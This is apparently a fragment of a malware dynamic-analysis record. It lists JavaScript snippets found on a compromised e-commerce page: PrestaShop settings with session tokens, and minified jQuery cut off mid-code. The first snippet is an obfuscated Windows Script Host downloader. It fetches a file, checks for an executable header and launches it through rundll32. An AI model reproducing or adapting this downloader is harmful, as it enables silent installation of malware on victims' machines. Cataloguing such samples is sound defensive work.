false);OloloOloloOloloOloloOloloOloloJFb1.setRequestHeader(\"User-Agent\",\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\");OloloOloloOloloOloloOloloOloloJFb1[\"s,e,n,d\".OloloOloloOloloOloloOloloOloloEe9()]();// while (OloloOloloOloloOloloOloloOloloJFb1.readystate < 4) WScript[\"Sleep\"](100);OloloOloloOloloOloloOloloOloloGh7.open();OloloOloloOloloOloloOloloOloloGh7.type=1;var OloloOloloOloloOloloOloloOloloAg7 = new Date();OloloOloloOloloOloloOloloOloloAg7.setFullYear(\"2015\");/*@cc_onOloloOloloOloloOloloOloloOloloGh7.write(OloloOloloOloloOloloOloloOloloJFb1.ResponseBody);OloloOloloOloloOloloOloloOloloGh7.position=0;if (\"\"+OloloOloloOloloOloloOloloOloloAg7.getFullYear() == \"2015\") OloloOloloOloloOloloOloloOloloGh7[\"SaveToFile\"](OloloOloloOloloOloloOloloOloloBn5, OloloOloloOloloOloloOloloOloloOn9);OloloOloloOloloOloloOloloOloloGh7.close();var OloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloZSu1(OloloOloloOloloOloloOloloOloloBn5);OloloOloloOloloOloloOloloOloloUj3 = OloloOloloOloloOloloOloloOloloDf8(OloloOloloOloloOloloOloloOloloUj3, OloloOloloOloloOloloOloloOloloUJo4);if (OloloOloloOloloOloloOloloOloloUj3[0] != 77 || OloloOloloOloloOloloOloloOloloUj3[1] != 90) continue;OloloOloloOloloOloloOloloOloloFe7(OloloOloloOloloOloloOloloOloloOs3, OloloOloloOloloOloloOloloOloloUj3);var OloloOloloOloloOloloOloloOloloIIm6 = OloloOloloOloloOloloOloloOloloEo2();if (\"\"+OloloOloloOloloOloloOloloOloloAg7[\"getFullYear\"]() == \"2015\") eval('OloloOloloOloloOloloOloloOloloXh7[\"R\\x2c\\x75\\x2c\\x6e\".OloloOloloOloloOloloOloloOloloEe9()](\"r\\x2c\\x75\\x2c\\x6e\\x2c\\x64\\x2c\\x6c\\x2c\\x6c\\x2c\\x33\\x2c\\x32\".OloloOloloOloloOloloOloloOloloEe9() + \" \" + OloloOloloOloloOloloOloloOloloIIm6 + \",\" + OloloOloloOloloOloloOloloOloloCMf7);');@*/break;}catch (e) {continue;};}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "var CUSTOMIZE_TEXTFIELD = 1;var FancyboxI18nClose = 'Cerrar';var FancyboxI18nNext = 'Siguiente';var FancyboxI18nPrev = 'Previo';var added_to_wishlist = 'El producto se ha añadido con éxito a su lista de deseos.';var ajax_allowed = true;var ajaxsearch = true;var baseDir = 'http://decorvise.com/';var baseUri = 'http://decorvise.com/';var blocksearch_type = 'top';var contentOnly = false;var currency = {\"id\":1,\"name\":\"Euro\",\"iso_code\":\"EUR\",\"iso_code_num\":\"978\",\"sign\":\"\\u20ac\",\"blank\":\"1\",\"conversion_rate\":\"1.000000\",\"deleted\":\"0\",\"format\":\"2\",\"decimals\":\"1\",\"active\":\"1\",\"prefix\":\"\",\"suffix\":\" \\u20ac\",\"id_shop_list\":null,\"force_id\":false};var currencyBlank = 1;var currencyFormat = 2;var currencyRate = 1;var currencySign = '€';var customizationIdMessage = 'Personalización n°';var delete_txt = 'Eliminar';var displayList = false;var freeProductTranslation = '¡Gratis!';var freeShippingTranslation = 'Envío gratuito!';var generated_date = 1481832084;var hasDeliveryAddress = false;var id_lang = 1;var img_dir = 'http://decorvise.com/themes/jaro/img/';var instantsearch = false;var isGuest = 0;var isLogged = 0;var isMobile = false;var loggin_required = 'Debe identificarse para administrar su lista de deseos.';var mywishlist_url = 'http://decorvise.com/module/blockwishlist/mywishlist';var page_name = 'pagenotfound';var placeholder_blocknewsletter = 'Introduzca su dirección de correo electrónico';var priceDisplayMethod = 0;var priceDisplayPrecision = 2;var quickView = true;var removingLinkText = 'eliminar este producto de mi carrito';var roundMode = 2;var search_url = 'http://decorvise.com/buscar';var static_token = '6eca8a9d3170e2005d18c42b0498677c';var toBeDetermined = 'A determinar';var token = '66027c74c452a20e48ad7e1a5b9ea63a';var usingSecureMode = false;var wishlistProductsIds = false;", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k=\"\".trim,l={},m=\"1.11.0\",n=function(a,b){return new n.fn.init(a,b)},o=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,p=/^-ms-/,q=/-([\\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g&&(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:\"jQuery\"+(m+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===n.type(a)},isArray:Array.isArray||function(a){return\"array\"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||\"object\"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,\"constructor\")&&!j.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}if(l.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?h[i.call(a)]||\"object\":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,\"ms-\").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:k&&!k.call(\"\\ufeff\\xa0\")?function(a){return null==a?\"\":k.call(a)}:function(a){return null==a?\"\":(a+\"\").replace(o,\"\")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,\"string\"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return\"string\"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return+new Date},support:l}),n.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(a,b){h[\"[object \"+b+\"]\"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return\"function\"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:\"array\"===c||0===b||\"number\"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s=\"sizzle\"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A=\"undefined\",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},J=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",K=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",L=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",M=L.replace(\"w\",\"w#\"),N=\"\\\\[\"+K+\"*(\"+L+\")\"+K+\"*(?:([*^$|!~]?=)\"+K+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+M+\")|)|)\"+K+\"*\\\\]\",O=\":(\"+L+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+N.replace(3,8)+\")*)|.*)\\\\)|)\",P=new RegExp(\"^\"+K+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+K+\"+$\",\"g\"),Q=new RegExp(\"^\"+K+\"*,\"+K+\"*\"),R=new RegExp(\"^\"+K+\"*([>+~]|\"+K+\")\"+K+\"*\"),S=new RegExp(\"=\"+K+\"*([^\\\\]'\\\"]*?)\"+K+\"*\\\\]\",\"g\"),T=new RegExp(O),U=new RegExp(\"^\"+M+\"$\"),V={ID:new RegExp(\"^#(\"+L+\")\"),CLASS:new RegExp(\"^\\\\.(\"+L+\")\"),TAG:new RegExp(\"^(\"+L.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+N),PSEUDO:new RegExp(\"^\"+O),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+K+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+K+\"*(?:([+-]|)\"+K+\"*(\\\\d+)|))\"+K+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+J+\")$\",\"i\"),needsContext:new RegExp(\"^\"+K+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+K+\"*((?:-\\\\d)?\\\\d*)\"+K+\"*\\\\)|)(?=[^-]|$)\",\"i\")},W=/^(?:input|select|textarea|button)$/i,X=/^h\\d$/i,Y=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,$=/[+~]/,_=/'|\\\\/g,ab=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+K+\"?|(\"+K+\")|.)\",\"ig\"),bb=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||\"string\"!=typeof a)return d;if(1!==(i=b.nodeType)&&9!==i)return[];if(n&&!e){if(f=Z.exec(a))if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode)return d;if(g.id===h)return d.push(g),d}else if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h)return d.push(g),d}else{if(f[2])return G.apply(d,b.getElementsByTagName(a)),d;if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(h)),d}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&\"object\"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute(\"id\"))?q=p.replace(_,\"\\\\$&\"):b.setAttribute(\"id\",q),q=\"[id='\"+q+\"'] \",j=m.length;while(j--)m[j]=q+pb(m[j]);u=$.test(a)&&mb(b.parentNode)||b,v=m.join(\",\")}if(v)try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute(\"id\")}}}return xb(a.replace(P,\"$1\"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+\" \")>d.cacheLength&&delete b[a.shift()],b[c+\" \"]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement(\"div\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split(\"|\"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return\"input\"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return(\"input\"===c||\"button\"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?\"HTML\"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener(\"unload\",function(){k()},!1):g.attachEvent&&g.attachEvent(\"onunload\",function(){k()})),c.attributes=gb(function(a){return a.className=\"i\",!a.getAttribute(\"className\")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment(\"\")),!a.getElementsByTagName(\"*\").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML=\"
\",a.firstChild.className=\"i\",2===a.getElementsByClassName(\"i\").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute(\"id\")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode(\"id\");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(\"*\"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML=\"\",a.querySelectorAll(\"[t^='']\").length&&o.push(\"[*^$]=\"+K+\"*(?:''|\\\"\\\")\"),a.querySelectorAll(\"[selected]\").length||o.push(\"\\\\[\"+K+\"*(?:value|\"+J+\")\"),a.querySelectorAll(\":checked\").length||o.push(\":checked\")}),gb(function(a){var b=e.createElement(\"input\");b.setAttribute(\"type\",\"hidden\"),a.appendChild(b).setAttribute(\"name\",\"D\"),a.querySelectorAll(\"[name=d]\").length&&o.push(\"name\"+K+\"*[*^$|!~]?=\"),a.querySelectorAll(\":enabled\").length||o.push(\":enabled\",\":disabled\"),a.querySelectorAll(\"*,:x\"),o.push(\",.*:\")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,\"div\"),q.call(a,\"[s!='']:x\"),p.push(\"!=\",O)}),o=o.length&&new RegExp(o.join(\"|\")),p=p.length&&new RegExp(p.join(\"|\")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},z=b?function(a,b){if(a===b)return j=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b)return j=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0;if(f===g)return ib(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)k.unshift(c);while(h[d]===k[d])d++;return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,\"='$1']\"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b)))try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return i=null,a},e=db.getText=function(a){var b,c=\"\",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(\"string\"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||\"\").replace(ab,bb),\"~=\"===a[2]&&(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),\"nth\"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(\"even\"===a[3]||\"odd\"===a[3])),a[5]=+(a[7]+a[8]||\"odd\"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(\")\",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return\"*\"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+\" \"];return b||(b=new RegExp(\"(^|\"+K+\")\"+a+\"(\"+K+\"|$)\"))&&w(a,function(a){return b.test(\"string\"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute(\"class\")||\"\")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?\"!=\"===b:b?(e+=\"\",\"=\"===b?e===c:\"!=\"===b?e!==c:\"^=\"===b?c&&0===e.indexOf(c):\"*=\"===b?c&&e.indexOf(c)>-1:\"$=\"===b?c&&e.slice(-c.length)===c:\"~=\"===b?(\" \"+e+\" \").indexOf(c)>-1:\"|=\"===b?e===c||e.slice(0,c.length+1)===c+\"-\":!1):!0}},CHILD:function(a,b,c,d,e){var f=\"nth\"!==a.slice(0,3),g=\"last\"!==a.slice(-4),h=\"of-type\"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?\"nextSibling\":\"previousSibling\",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=\"only\"===a&&!o&&\"nextSibling\"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}else if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error(\"unsupported pseudo: \"+a);return e[s]?e(b):e.length>1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,\"$1\"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||\"\")||db.error(\"unsupported lang: \"+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do if(c=n?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&\"button\"===a.type||\"button\"===b},text:function(a){var b;return\"input\"===a.nodeName.toLowerCase()&&\"text\"===a.type&&(null==(b=a.getAttribute(\"type\"))||\"text\"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function qb(a,b,c){var d=b.dir,e=c&&\"parentNode\"===d,f=v++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||\"*\",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[\" \"],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return!g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++)if(c=d.relative[a[j].type])m=[qb(rb(m),c)];else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++)if(d.relative[a[e].type])break;return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:\" \"===a[j-2].type?\"*\":\"\"})).replace(P,\"$1\"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q=\"0\",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG(\"*\",k),w=u+=null==t?1:Math.random()||.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++])if(o(m,g,i)){j.push(m);break}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++])o(r,s,g,i);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=E.call(j));s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+\" \"];if(!f){b||(b=ob(a)),c=b.length;while(c--)f=ub(b[c]),f[s]?d.push(f):e.push(f);f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++)db(a,b[d],c);return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&\"ID\"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b)return 